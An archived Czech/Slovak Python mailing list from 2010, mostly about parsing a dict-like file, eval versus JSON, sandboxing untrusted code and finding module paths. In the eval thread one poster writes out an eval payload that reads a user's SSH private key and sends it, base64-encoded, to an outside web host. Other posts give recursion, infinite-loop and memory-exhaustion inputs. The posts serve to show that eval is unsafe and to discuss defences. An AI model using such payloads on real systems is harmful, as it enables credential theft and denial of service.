Re: [python] parsing souboru

2010-05-05 Tema obsahu Petr Přikryl

Tomas Hnizdil
Mam soubor, ve kterem mam textova data ve formatu dictionary tj. '{'KLIC':
'hodnota', .. {'SUBSLOVNIK': 'hodnota' } ...}
Potrebuji zjistit hodnotu dvou klicu, ktere jsou umitsteny skoro na konci
toho slovniku. Vsechno je to ulozeno jako jedna radka a ma to v prumeru 6000
znaku, prijde mi proto neefektivni to cist od zacatku a navic to nacitat
cele do pameti, python ma spoustu sikovnych funkci, o kterych nevim, proto
se ptam, zda to jde udelat nejak lepe ...

Jak často se to má spouštět? Jak velký ten soubor je? V jakém kódování je?
S jakou verzí Pythonu to má fungovat?

Pokud je na jednom řádku zápis celého slovníku, normálně bych
z toho udělal slovník (eval) a nedělal bych si s tím těžkou hlavu.
Pokud se to nemá provádět velmi intenzivně, nemá smysl se
zabývat optimalizacemi.

Něco takového:

 a = {'a': 1, 'b': 2}
 a
{'a': 1, 'b': 2}
 d = eval(a)
 d
{'a': 1, 'b': 2}


Petr
___
Python mailing list
Python@py.cz
http://www.py.cz/mailman/listinfo/python


[python] OT: překlad caching proxy?

2010-05-05 Tema obsahu Petr Přikryl

Všechny zdravím a Slunce v duši (když už je tak zas...á obloha),

Mám tu zase takový oříšek. Překládá se nějakým stručným českým
pojmem nebo ne-příliš-moc-dlouhým-i-když-korektním-opisem
anglický caching proxy v souvislosti s webovými službami?

Dík,
   Petr
___
Python mailing list
Python@py.cz
http://www.py.cz/mailman/listinfo/python


Re: [python] OT: překlad caching proxy?

2010-05-05 Tema obsahu Petr Messner
Kešovací proxy? Oba termíny se mi zdají v češtině normálně  
používané.


Petr Messner

5.5.2010 v 9:24, Petr Přikryl prik...@atlas.cz:



Všechny zdravím a Slunce v duši (když už je tak zas...á obloha 
),


Mám tu zase takový oříšek. Překládá se nějakým stručným  
českým

pojmem nebo ne-příliš-moc-dlouhým-i-když-korektním-opisem
anglický caching proxy v souvislosti s webovými službami?

Dík,
  Petr
___
Python mailing list
Python@py.cz
http://www.py.cz/mailman/listinfo/python

___
Python mailing list
Python@py.cz
http://www.py.cz/mailman/listinfo/python


Re: [python] parsing souboru

2010-05-05 Tema obsahu Jirka Vejrazka
Ahoj,

  To skoro vypada, jako JSON format, na ktery existuji parsery (I
primo v Pythonu). 6000 znaku nema smysl nijak optimalizovat, to je
zbytecna ztrata casu.

  Mrkni se, jestli to nepujde parsovat pres JSON. Evil je zlo, hojne
pouzivane v JS a PHP, v Pythonu jsem ho (nastesti) snad nikdy nevidel.

  Jirka

On 05/05/2010, Petr Přikryl prik...@atlas.cz wrote:

 Tomas Hnizdil
Mam soubor, ve kterem mam textova data ve formatu dictionary tj. '{'KLIC':
'hodnota', .. {'SUBSLOVNIK': 'hodnota' } ...}
Potrebuji zjistit hodnotu dvou klicu, ktere jsou umitsteny skoro na konci
toho slovniku. Vsechno je to ulozeno jako jedna radka a ma to v prumeru
 6000
znaku, prijde mi proto neefektivni to cist od zacatku a navic to nacitat
cele do pameti, python ma spoustu sikovnych funkci, o kterych nevim, proto
se ptam, zda to jde udelat nejak lepe ...

 Jak často se to má spouštět? Jak velký ten soubor je? V jakém kódování je?
 S jakou verzí Pythonu to má fungovat?

 Pokud je na jednom řádku zápis celého slovníku, normálně bych
 z toho udělal slovník (eval) a nedělal bych si s tím těžkou hlavu.
 Pokud se to nemá provádět velmi intenzivně, nemá smysl se
 zabývat optimalizacemi.

 Něco takového:

 a = {'a': 1, 'b': 2}
 a
 {'a': 1, 'b': 2}
 d = eval(a)
 d
 {'a': 1, 'b': 2}


 Petr
 ___
 Python mailing list
 Python@py.cz
 http://www.py.cz/mailman/listinfo/python

___
Python mailing list
Python@py.cz
http://www.py.cz/mailman/listinfo/python


Re: [python] parsing souboru

2010-05-05 Tema obsahu Jirka Vejrazka
 Jirka Vejrazka (středa 05 Květen 2010 10:33:39):
   Mrkni se, jestli to nepujde parsovat pres JSON. Evil je zlo, hojne
 pouzivane v JS a PHP, v Pythonu jsem ho (nastesti) snad nikdy nevidel.
 Dělám to nerad, ale musím se evalu zastat. Narozdíl od PHP v pythonu eval()
 nesežere libovolný kód, ale pouze vyhodnotí výraz. A když se mu podstrčí
 nedefaultní jmenné prostory, měl by být dostatečně izolovaný.

 Zlo se v pythonu jmenuje exec() :-)


A vida, diky za opravu :)  Mea culpa :)

  Jirka
___
Python mailing list
Python@py.cz
http://www.py.cz/mailman/listinfo/python


Re: [python] parsing souboru

2010-05-05 Tema obsahu Jan Janech
Dovolim si oponovat. Vsetko co sa da v pythone v exec spravit pre 
narusenie bezpecnosti sa da spravit aj v eval.


Proti importom, builtin namespace atd sa daju zabezpecit obe. Nekonecny 
cyklus, nekonecna rekurzia, vsetko sa da spravit aj v eval aj v exec.


Jediny rozdiel je v tom, ze jeden vykonava vyrazy a jeden prikazy.

Jan Janech

On 05/05/10 11:49, Hynek Fabian wrote:

Jirka Vejrazka (středa 05 Květen 2010 10:33:39):

   Mrkni se, jestli to nepujde parsovat pres JSON. Evil je zlo, hojne
pouzivane v JS a PHP, v Pythonu jsem ho (nastesti) snad nikdy nevidel.

Dělám to nerad, ale musím se evalu zastat. Narozdíl od PHP v pythonu eval()
nesežere libovolný kód, ale pouze vyhodnotí výraz. A když se mu podstrčí
nedefaultní jmenné prostory, měl by být dostatečně izolovaný.

Zlo se v pythonu jmenuje exec() :-)
___
Python mailing list
Python@py.cz
http://www.py.cz/mailman/listinfo/python






--


Ing. Jan Janech
Katedra softverovych technologii
Fakulta riadenia a informatiky
Zilinska Univerzita
___
Python mailing list
Python@py.cz
http://www.py.cz/mailman/listinfo/python


Re: [python] parsing souboru

2010-05-05 Tema obsahu Petr Messner
Ahoj,

pokud to vypadá jako JSON, asi nejlepší bude použít na to nějakou
knihovnu, jak už tu zaznělo. Další zmíněná možnost, eval, se mi moc
nelíbí.

Načítat do paměti bych se to nebál, 6 kB není zase tolik.

Kdyby to ale náhodou JSON nebyl, pak přeji příjemnou zábavu :)
Poslední dobou se objevují docela šikovné knihovny na parsování textu
pomocí zadané gramatiky, např. malá ukázka pro slovník:
http://gist.github.com/390687

Samozřejmě další možností je použít na obsah souboru regulární výraz,
pokud je to možné.

PM


2010/5/5 Tomas Hnizdil tomash...@gmail.com:
 Hezky den,
 jelikoz s pythonem nemam zas tak moc zkusenosti, napadlo me, ze udelam
 takovy maly brainstorming, nez se pustim do prace.
 Mam soubor, ve kterem mam textova data ve formatu dictionary tj. '{'KLIC':
 'hodnota', .. {'SUBSLOVNIK': 'hodnota' } ...}
 Potrebuji zjistit hodnotu dvou klicu, ktere jsou umitsteny skoro na konci
 toho slovniku. Vsechno je to ulozeno jako jedna radka a ma to v prumeru 6000
 znaku, prijde mi proto neefektivni to cist od zacatku a navic to nacitat
 cele do pameti, python ma spoustu sikovnych funkci, o kterych nevim, proto
 se ptam, zda to jde udelat nejak lepe ...

 ... staci odkaz, na ktery jsem nenarazil, necekam step by step navod - vazim
 si vaseho casu :).

 diky
 Tom

 ___
 Python mailing list
 Python@py.cz
 http://www.py.cz/mailman/listinfo/python

___
Python mailing list
Python@py.cz
http://www.py.cz/mailman/listinfo/python


Re: [python] parsing souboru

2010-05-05 Tema obsahu Jirka Vejrazka
 Kdyby to ale náhodou JSON nebyl, pak přeji příjemnou zábavu :)
 Poslední dobou se objevují docela šikovné knihovny na parsování textu
 pomocí zadané gramatiky, např. malá ukázka pro slovník:
 http://gist.github.com/390687

No, kdyby na to doslo, da se samozrejme pouzit pyparsing, ale je to
trochu kanon na vrabce :)

   Jirka
___
Python mailing list
Python@py.cz
http://www.py.cz/mailman/listinfo/python


Re: [python] parsing souboru

2010-05-05 Tema obsahu Hynek Fabian
Jan Janech (středa 05 Květen 2010 13:08:49):
 Dovolim si oponovat. Vsetko co sa da v pythone v exec spravit pre
 narusenie bezpecnosti sa da spravit aj v eval.
Jak?

eval(x, {}, {})

Jakým X se dá z takové konstrukce utéci?
___
Python mailing list
Python@py.cz
http://www.py.cz/mailman/listinfo/python


Re: [python] parsing souboru

2010-05-05 Tema obsahu Petr Messner
eval(__import__('urllib2').urlopen('http://messa.cz/?pepovoklic='+__import__('base64').urlsafe_b64encode(open('/home/pepa/.ssh/id_dsa').read())).read(),
{}, {})


2010/5/5 Hynek Fabian hynek.fab...@firma.seznam.cz:
 Jan Janech (středa 05 Květen 2010 13:08:49):
 Dovolim si oponovat. Vsetko co sa da v pythone v exec spravit pre
 narusenie bezpecnosti sa da spravit aj v eval.
 Jak?

 eval(x, {}, {})

 Jakým X se dá z takové konstrukce utéci?
 ___
 Python mailing list
 Python@py.cz
 http://www.py.cz/mailman/listinfo/python

___
Python mailing list
Python@py.cz
http://www.py.cz/mailman/listinfo/python


Re: [python] parsing souboru

2010-05-05 Tema obsahu Hynek Fabian
To je ale krásně hnusný… odvolávám co jsem odvolal a slibuji co jsem slíbil,
evalu se budu nadále vyhýbat obloukem.

Petr Messner (středa 05 Květen 2010 14:37:20):
 eval(__import__('urllib2').urlopen('http://messa.cz/?pepovoklic='+__import
 __('base64').urlsafe_b64encode(open('/home/pepa/.ssh/id_dsa').read())).read
 (), {}, {})
 
 2010/5/5 Hynek Fabian hynek.fab...@firma.seznam.cz:
  Jan Janech (středa 05 Květen 2010 13:08:49):
  Dovolim si oponovat. Vsetko co sa da v pythone v exec spravit pre
  narusenie bezpecnosti sa da spravit aj v eval.
  
  Jak?
  
  eval(x, {}, {})
  
  Jakým X se dá z takové konstrukce utéci?
  ___
  Python mailing list
  Python@py.cz
  http://www.py.cz/mailman/listinfo/python
 
 ___
 Python mailing list
 Python@py.cz
 http://www.py.cz/mailman/listinfo/python
___
Python mailing list
Python@py.cz
http://www.py.cz/mailman/listinfo/python

[python] Restricted Python

2010-05-05 Tema obsahu Jakub Zíka
V Pythonu dříve existoval modul rexec a Bastion, které měly zajistit,
aby bylo možné bezpečně spouštět nedůvěryhodný kód. S uvedením novější
verze Pythonu (mám pocit, že 2.3) se ale našly nějaké bezpečnostní
díry a tyto moduly byly defaultně zakázány. Teď jsem ale narazil na
modul ResctrictedPython
(http://pypi.python.org/pypi/RestrictedPython), který se tváří jako že
žádné bezpečnostní díry nemá. Nejdůležitější vlastností je to, že si
poskytnutý kód sám zkompiluje a například nedovolí jakékoliv používání
objektů, jejichž název začíná podtržítkem. Jaký je váš názor? Máte
nějaké zkušenosti? Na netu jsem nikde nenašel žádnou studii, jestli to
funguje nebo ne.
___
Python mailing list
Python@py.cz
http://www.py.cz/mailman/listinfo/python


Re: [python] parsing souboru

2010-05-05 Tema obsahu Jan Janech
Potesim Vas, z evalu ani z execu sa pokial mi je znamo utiect neda. Teda 
ak to clovek vie spravit.


staci nieco taketo:

 eval(superNebezpecnyKod, {'__builtins__': {}}, {})

alebo

 exec superNebezpecnyKod in {'__builtins__': {}}, {}

zavisi ale od toho, akym situaciam sa chcete vyhnut.

coho sa nezbavite (ani evalom) je napr nekonecna rekurzia:

 superNebezpecnyKod='(lambda x=(lambda y: y(y)): x(x))()'

to az tak neboli, ak nemate povolenu nejaku prilis hlboku uroven rekurzie.

co tak ale nekonecny cyklus?

 superNebezpecnyKod='(lambda x=[1]: [x.append(1) for i in x])()'

alebo supernarocne operacie?

 superNebezpecnyKod='2**1'

vela stastia pri vyuzivani evalu a execu :D

Jan Janech


On 05/05/10 14:26, Hynek Fabian wrote:

Jan Janech (středa 05 Květen 2010 13:08:49):

Dovolim si oponovat. Vsetko co sa da v pythone v exec spravit pre
narusenie bezpecnosti sa da spravit aj v eval.

Jak?

eval(x, {}, {})

Jakým X se dá z takové konstrukce utéci?
___
Python mailing list
Python@py.cz
http://www.py.cz/mailman/listinfo/python






--


Ing. Jan Janech
Katedra softverovych technologii
Fakulta riadenia a informatiky
Zilinska Univerzita
___
Python mailing list
Python@py.cz
http://www.py.cz/mailman/listinfo/python


Re: [python] Restricted Python

2010-05-05 Tema obsahu Jan Janech
Pozor! RestrictedPython umoznuje iba plne kontrolovat, ku ktorym 
objektom ma vykonavany kod pristup a ku ktorym nie. Okrem toho, ze je  s 
nim vykonanie pomalsie, neumozni osetrit situacie, ktore som nacrtol v 
mojom druhom maily. Ak by ten druhy mail neprisiel, tak su to napr. tieto:


rekurzia
 superNebezpecnyKod='(lambda x=(lambda y: y(y)): x(x))()'
nekonecny cyklus:
 superNebezpecnyKod='(lambda x=[1]: [x.append(1) for i in x])()'
zrut pamate a cpu:
 superNebezpecnyKod='2**1'

a kopec inych.

okrem toho, len poopravenie: RestrictedPython kod nekompiluje, iba 
patchuje existujuci bytekod. Kompilaciu zdrojaku nechava na Python.


Jan Janech

On 05/05/10 15:02, Jakub Zíka wrote:

V Pythonu dříve existoval modul rexec a Bastion, které měly zajistit,
aby bylo možné bezpečně spouštět nedůvěryhodný kód. S uvedením novější
verze Pythonu (mám pocit, že 2.3) se ale našly nějaké bezpečnostní
díry a tyto moduly byly defaultně zakázány. Teď jsem ale narazil na
modul ResctrictedPython
(http://pypi.python.org/pypi/RestrictedPython), který se tváří jako že
žádné bezpečnostní díry nemá. Nejdůležitější vlastností je to, že si
poskytnutý kód sám zkompiluje a například nedovolí jakékoliv používání
objektů, jejichž název začíná podtržítkem. Jaký je váš názor? Máte
nějaké zkušenosti? Na netu jsem nikde nenašel žádnou studii, jestli to
funguje nebo ne.
___
Python mailing list
Python@py.cz
http://www.py.cz/mailman/listinfo/python






--


Ing. Jan Janech
Katedra softverovych technologii
Fakulta riadenia a informatiky
Zilinska Univerzita
___
Python mailing list
Python@py.cz
http://www.py.cz/mailman/listinfo/python


Re: [python] parsing souboru

2010-05-05 Tema obsahu Jakub Zíka
Na Linuxu bych se proti přetížení procesoru bránil tak, že bych
spustil skript jako samostatný proces (např. modul multiprocessing
nebo subprocess) a pak bych mu posílal signály SIGSTOP a SIGCONT přes
funkci os.kill(pid, sig). Kdyby mi připadalo, že už běží nějak moc
dlouho, prostě bych ho vypnul přes signál TERM, pokud by nereagoval
(myslím, že se to může stát, když počítá např. 10**1000), tak
signál KILL. Protože by uživatel nemohl změnit chování při přijetí
signálů (protože by nemohl importovat potřebný modul), mělo by to
fungovat celkem spolehlivě. Maximální velikost použité paměti lze
omezit přes modul resource.

2010/5/5 Jan Janech de...@atlas.sk:
 Potesim Vas, z evalu ani z execu sa pokial mi je znamo utiect neda. Teda ak
 to clovek vie spravit.

 staci nieco taketo:

 eval(superNebezpecnyKod, {'__builtins__': {}}, {})

 alebo

 exec superNebezpecnyKod in {'__builtins__': {}}, {}

 zavisi ale od toho, akym situaciam sa chcete vyhnut.

 coho sa nezbavite (ani evalom) je napr nekonecna rekurzia:

 superNebezpecnyKod='(lambda x=(lambda y: y(y)): x(x))()'

 to az tak neboli, ak nemate povolenu nejaku prilis hlboku uroven rekurzie.

 co tak ale nekonecny cyklus?

 superNebezpecnyKod='(lambda x=[1]: [x.append(1) for i in x])()'

 alebo supernarocne operacie?

 superNebezpecnyKod='2**1'

 vela stastia pri vyuzivani evalu a execu :D

 Jan Janech


 On 05/05/10 14:26, Hynek Fabian wrote:

 Jan Janech (středa 05 Květen 2010 13:08:49):

 Dovolim si oponovat. Vsetko co sa da v pythone v exec spravit pre
 narusenie bezpecnosti sa da spravit aj v eval.

 Jak?

 eval(x, {}, {})

 Jakým X se dá z takové konstrukce utéci?
 ___
 Python mailing list
 Python@py.cz
 http://www.py.cz/mailman/listinfo/python





 --

 
 Ing. Jan Janech
 Katedra softverovych technologii
 Fakulta riadenia a informatiky
 Zilinska Univerzita
 ___
 Python mailing list
 Python@py.cz
 http://www.py.cz/mailman/listinfo/python

___
Python mailing list
Python@py.cz
http://www.py.cz/mailman/listinfo/python


Re: [python] Restricted Python

2010-05-05 Tema obsahu Jakub Zíka
Díky za připomínku. Jak vyřešit tyto případy jsem zrovna napsal jako
odpověď na Váš předchozí příspěvek.

2010/5/5 Jan Janech de...@atlas.sk:
 Pozor! RestrictedPython umoznuje iba plne kontrolovat, ku ktorym objektom ma
 vykonavany kod pristup a ku ktorym nie. Okrem toho, ze je  s nim vykonanie
 pomalsie, neumozni osetrit situacie, ktore som nacrtol v mojom druhom maily.
 Ak by ten druhy mail neprisiel, tak su to napr. tieto:

 rekurzia
 superNebezpecnyKod='(lambda x=(lambda y: y(y)): x(x))()'
 nekonecny cyklus:
 superNebezpecnyKod='(lambda x=[1]: [x.append(1) for i in x])()'
 zrut pamate a cpu:
 superNebezpecnyKod='2**1'

 a kopec inych.

 okrem toho, len poopravenie: RestrictedPython kod nekompiluje, iba patchuje
 existujuci bytekod. Kompilaciu zdrojaku nechava na Python.

 Jan Janech

 On 05/05/10 15:02, Jakub Zíka wrote:

 V Pythonu dříve existoval modul rexec a Bastion, které měly zajistit,
 aby bylo možné bezpečně spouštět nedůvěryhodný kód. S uvedením novější
 verze Pythonu (mám pocit, že 2.3) se ale našly nějaké bezpečnostní
 díry a tyto moduly byly defaultně zakázány. Teď jsem ale narazil na
 modul ResctrictedPython
 (http://pypi.python.org/pypi/RestrictedPython), který se tváří jako že
 žádné bezpečnostní díry nemá. Nejdůležitější vlastností je to, že si
 poskytnutý kód sám zkompiluje a například nedovolí jakékoliv používání
 objektů, jejichž název začíná podtržítkem. Jaký je váš názor? Máte
 nějaké zkušenosti? Na netu jsem nikde nenašel žádnou studii, jestli to
 funguje nebo ne.
 ___
 Python mailing list
 Python@py.cz
 http://www.py.cz/mailman/listinfo/python





 --

 
 Ing. Jan Janech
 Katedra softverovych technologii
 Fakulta riadenia a informatiky
 Zilinska Univerzita
 ___
 Python mailing list
 Python@py.cz
 http://www.py.cz/mailman/listinfo/python

___
Python mailing list
Python@py.cz
http://www.py.cz/mailman/listinfo/python


Re: [python] parsing souboru

2010-05-05 Tema obsahu Jan Janech

Ak myslite, ze je to take jednoduche, skuste si spustit,

list(xrange(10))

neviem kolko nul tam moze byt, aby to zobralo. Toto som skusil ked som 
pisal predchadzajuci mail. Potom som ho musel pisat znovu, lebo mi linux 
zabil thunderbird pre nedostatok pamate.


Viem, ze ak sa to spravi spravne, nemozem v eval a exec pouzivat ziadne 
fcie (ani list, ani xrange), takze hentak uplne to napisat nepojde. Ale 
verim, ze niekde na svete existuje vacsi borec ako ja ( :-D ) a ten to 
dokaze takyto problem vytvorit aj so standardnymi prvkami jazyka.


Jan Janech

On 05/05/10 15:27, Jakub Zíka wrote:

Na Linuxu bych se proti přetížení procesoru bránil tak, že bych
spustil skript jako samostatný proces (např. modul multiprocessing
nebo subprocess) a pak bych mu posílal signály SIGSTOP a SIGCONT přes
funkci os.kill(pid, sig). Kdyby mi připadalo, že už běží nějak moc
dlouho, prostě bych ho vypnul přes signál TERM, pokud by nereagoval
(myslím, že se to může stát, když počítá např. 10**1000), tak
signál KILL. Protože by uživatel nemohl změnit chování při přijetí
signálů (protože by nemohl importovat potřebný modul), mělo by to
fungovat celkem spolehlivě. Maximální velikost použité paměti lze
omezit přes modul resource.

2010/5/5 Jan Janechde...@atlas.sk:

Potesim Vas, z evalu ani z execu sa pokial mi je znamo utiect neda. Teda ak
to clovek vie spravit.

staci nieco taketo:


eval(superNebezpecnyKod, {'__builtins__': {}}, {})


alebo


exec superNebezpecnyKod in {'__builtins__': {}}, {}


zavisi ale od toho, akym situaciam sa chcete vyhnut.

coho sa nezbavite (ani evalom) je napr nekonecna rekurzia:


superNebezpecnyKod='(lambda x=(lambda y: y(y)): x(x))()'


to az tak neboli, ak nemate povolenu nejaku prilis hlboku uroven rekurzie.

co tak ale nekonecny cyklus?


superNebezpecnyKod='(lambda x=[1]: [x.append(1) for i in x])()'


alebo supernarocne operacie?


superNebezpecnyKod='2**1'


vela stastia pri vyuzivani evalu a execu :D

Jan Janech


On 05/05/10 14:26, Hynek Fabian wrote:


Jan Janech (středa 05 Květen 2010 13:08:49):


Dovolim si oponovat. Vsetko co sa da v pythone v exec spravit pre
narusenie bezpecnosti sa da spravit aj v eval.


Jak?

eval(x, {}, {})

Jakým X se dá z takové konstrukce utéci?
___
Python mailing list
Python@py.cz
http://www.py.cz/mailman/listinfo/python






--


Ing. Jan Janech
Katedra softverovych technologii
Fakulta riadenia a informatiky
Zilinska Univerzita
___
Python mailing list
Python@py.cz
http://www.py.cz/mailman/listinfo/python


___
Python mailing list
Python@py.cz
http://www.py.cz/mailman/listinfo/python






--


Ing. Jan Janech
Katedra softverovych technologii
Fakulta riadenia a informatiky
Zilinska Univerzita
___
Python mailing list
Python@py.cz
http://www.py.cz/mailman/listinfo/python


Re: [python] parsing souboru

2010-05-05 Tema obsahu Jakub Zíka
Jak jsem už psal, dá se použít modul resource:

 import resource
 resource.setrlimit(resource.RLIMIT_AS, (2000, 2000))
 a = []
 while True: a.append(1000)
...
Traceback (most recent call last):
  File stdin, line 1, in module
MemoryError


btw. Váš příklad mi nefungoval, asi tam bylo moc nul. Prej to nejde
zkonvertovat na integer. Nebo máte 64-bit procesor?

2010/5/5 Jan Janech de...@atlas.sk:
 Ak myslite, ze je to take jednoduche, skuste si spustit,

 list(xrange(10))

 neviem kolko nul tam moze byt, aby to zobralo. Toto som skusil ked som pisal
 predchadzajuci mail. Potom som ho musel pisat znovu, lebo mi linux zabil
 thunderbird pre nedostatok pamate.

 Viem, ze ak sa to spravi spravne, nemozem v eval a exec pouzivat ziadne fcie
 (ani list, ani xrange), takze hentak uplne to napisat nepojde. Ale verim, ze
 niekde na svete existuje vacsi borec ako ja ( :-D ) a ten to dokaze takyto
 problem vytvorit aj so standardnymi prvkami jazyka.

 Jan Janech

 On 05/05/10 15:27, Jakub Zíka wrote:

 Na Linuxu bych se proti přetížení procesoru bránil tak, že bych
 spustil skript jako samostatný proces (např. modul multiprocessing
 nebo subprocess) a pak bych mu posílal signály SIGSTOP a SIGCONT přes
 funkci os.kill(pid, sig). Kdyby mi připadalo, že už běží nějak moc
 dlouho, prostě bych ho vypnul přes signál TERM, pokud by nereagoval
 (myslím, že se to může stát, když počítá např. 10**1000), tak
 signál KILL. Protože by uživatel nemohl změnit chování při přijetí
 signálů (protože by nemohl importovat potřebný modul), mělo by to
 fungovat celkem spolehlivě. Maximální velikost použité paměti lze
 omezit přes modul resource.

 2010/5/5 Jan Janechde...@atlas.sk:

 Potesim Vas, z evalu ani z execu sa pokial mi je znamo utiect neda. Teda
 ak
 to clovek vie spravit.

 staci nieco taketo:

 eval(superNebezpecnyKod, {'__builtins__': {}}, {})

 alebo

 exec superNebezpecnyKod in {'__builtins__': {}}, {}

 zavisi ale od toho, akym situaciam sa chcete vyhnut.

 coho sa nezbavite (ani evalom) je napr nekonecna rekurzia:

 superNebezpecnyKod='(lambda x=(lambda y: y(y)): x(x))()'

 to az tak neboli, ak nemate povolenu nejaku prilis hlboku uroven
 rekurzie.

 co tak ale nekonecny cyklus?

 superNebezpecnyKod='(lambda x=[1]: [x.append(1) for i in x])()'

 alebo supernarocne operacie?

 superNebezpecnyKod='2**1'

 vela stastia pri vyuzivani evalu a execu :D

 Jan Janech


 On 05/05/10 14:26, Hynek Fabian wrote:

 Jan Janech (středa 05 Květen 2010 13:08:49):

 Dovolim si oponovat. Vsetko co sa da v pythone v exec spravit pre
 narusenie bezpecnosti sa da spravit aj v eval.

 Jak?

 eval(x, {}, {})

 Jakým X se dá z takové konstrukce utéci?
 ___
 Python mailing list
 Python@py.cz
 http://www.py.cz/mailman/listinfo/python





 --

 
 Ing. Jan Janech
 Katedra softverovych technologii
 Fakulta riadenia a informatiky
 Zilinska Univerzita
 ___
 Python mailing list
 Python@py.cz
 http://www.py.cz/mailman/listinfo/python

 ___
 Python mailing list
 Python@py.cz
 http://www.py.cz/mailman/listinfo/python





 --

 
 Ing. Jan Janech
 Katedra softverovych technologii
 Fakulta riadenia a informatiky
 Zilinska Univerzita
 ___
 Python mailing list
 Python@py.cz
 http://www.py.cz/mailman/listinfo/python

___
Python mailing list
Python@py.cz
http://www.py.cz/mailman/listinfo/python


Re: [python] parsing souboru

2010-05-05 Tema obsahu Jan Janech

import resource
resource.setrlimit(resource.RLIMIT_AS, (2000, 2000))


hm resource modul som nepoznal, mozno by to slo vyriesit nejak takto. 
Osobne ale radsej pouzijem eval a exec iba tam, kde ma bezpecnost az tak 
nepali. Mam ich sice rad, ale urcite to nie je laska bez hranic.



btw. Váš příklad mi nefungoval, asi tam bylo moc nul. Prej to nejde
zkonvertovat na integer. Nebo máte 64-bit procesor?


hej mam 64bit procesor. Ale ako som pisal, neviem kolko nul to este 
zozerie a skusat to nebudem (zase by mi to pozabijalo vsetko mozne :-D )


Ten resource modul ale urcite niekedy vyskusam, ked budem mat viac casu, 
ze ci to pomoze aj v takychto situaciach.


Jan Janech
--


Ing. Jan Janech
Katedra softverovych technologii
Fakulta riadenia a informatiky
Zilinska Univerzita
___
Python mailing list
Python@py.cz
http://www.py.cz/mailman/listinfo/python


[python] cesta k importovanemu modulu

2010-05-05 Tema obsahu vepro

Pratele,
Potreboval bych zjistit cesty k modulum (=soubory ve kterych jsou moduly 
ulozeny), ktere pouziva bezici skript. Mozna cesta vede pres modul 
modulefinder, avsak zatim se mi ho nepodarilo premluvit, tak abych 
dostal chteny vysledek. Poradi nekdo jak na to?

Diky
Vepro
___
Python mailing list
Python@py.cz
http://www.py.cz/mailman/listinfo/python


Re: [python] cesta k importovanemu modulu

2010-05-05 Tema obsahu Petr Messner
Ahoj,

zkusil jsi atribut __file__?

$ python
Python 2.5.5 (r255:77872, Feb  2 2010, 00:25:36)
[GCC 4.4.3] on linux2
Type help, copyright, credits or license for more information.
 import os
 os
module 'os' from '/usr/lib/python2.5/os.pyc'
 os.__file__
'/usr/lib/python2.5/os.pyc'


PM

2010/5/5 vepro p.zla...@gmail.com:
 Pratele,
 Potreboval bych zjistit cesty k modulum (=soubory ve kterych jsou moduly
 ulozeny), ktere pouziva bezici skript. Mozna cesta vede pres modul
 modulefinder, avsak zatim se mi ho nepodarilo premluvit, tak abych dostal
 chteny vysledek. Poradi nekdo jak na to?
 Diky
 Vepro
 ___
 Python mailing list
 Python@py.cz
 http://www.py.cz/mailman/listinfo/python

___
Python mailing list
Python@py.cz
http://www.py.cz/mailman/listinfo/python